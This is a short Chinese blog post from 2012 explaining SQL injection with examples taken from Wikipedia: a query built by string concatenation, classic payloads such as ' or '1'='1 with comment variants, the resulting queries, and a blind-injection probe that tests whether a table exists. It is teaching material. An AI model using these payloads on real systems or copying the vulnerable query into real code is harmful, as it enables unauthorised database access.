sql注入分析(sql injection)

场景1:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

通过对username赋于:

' or '1'='1
' or '1'='1' -- ' //注释掉后面的sql语句
' or '1'='1' ({ '
' or '1'='1' /* '

生成的sql语句如下:

SELECT * FROM users WHERE name = '' or '1'='1'
SELECT * FROM users WHERE name = '' or '1'='1' -- '
SELECT * FROM users WHERE name = '' or '1'='1' ({ '
SELECT * FROM users WHERE name = '' or '1'='1' /* ';

对于一些支持一次执行多条sql语句的数据库 可使用 语句分隔符 (一般如;)来执行多条sql语句

盲注?blind sql injection

盲注,猜也。就是通过构造 sql语句来查找表名、字段名、字段值。

比如(字段为整形):

SELECT * FROM users WHERE id=1  //正常的sql语句
SELECT * FROM users WHERE id=1 and (select * from table_test1)>0 //构造的sql

 如果2条sql语句的返回结果相同,则说明table_test1这张表存在。

本文实例来自http://en.wikipedia.org/wiki/SQL_injection

其他相关文章:

http://www.microsoft.com/taiwan/sql/sql_injection_g1.htm



posted @ 2012-03-15 23:30  花生!~~  阅读(245)  评论(0编辑  收藏  举报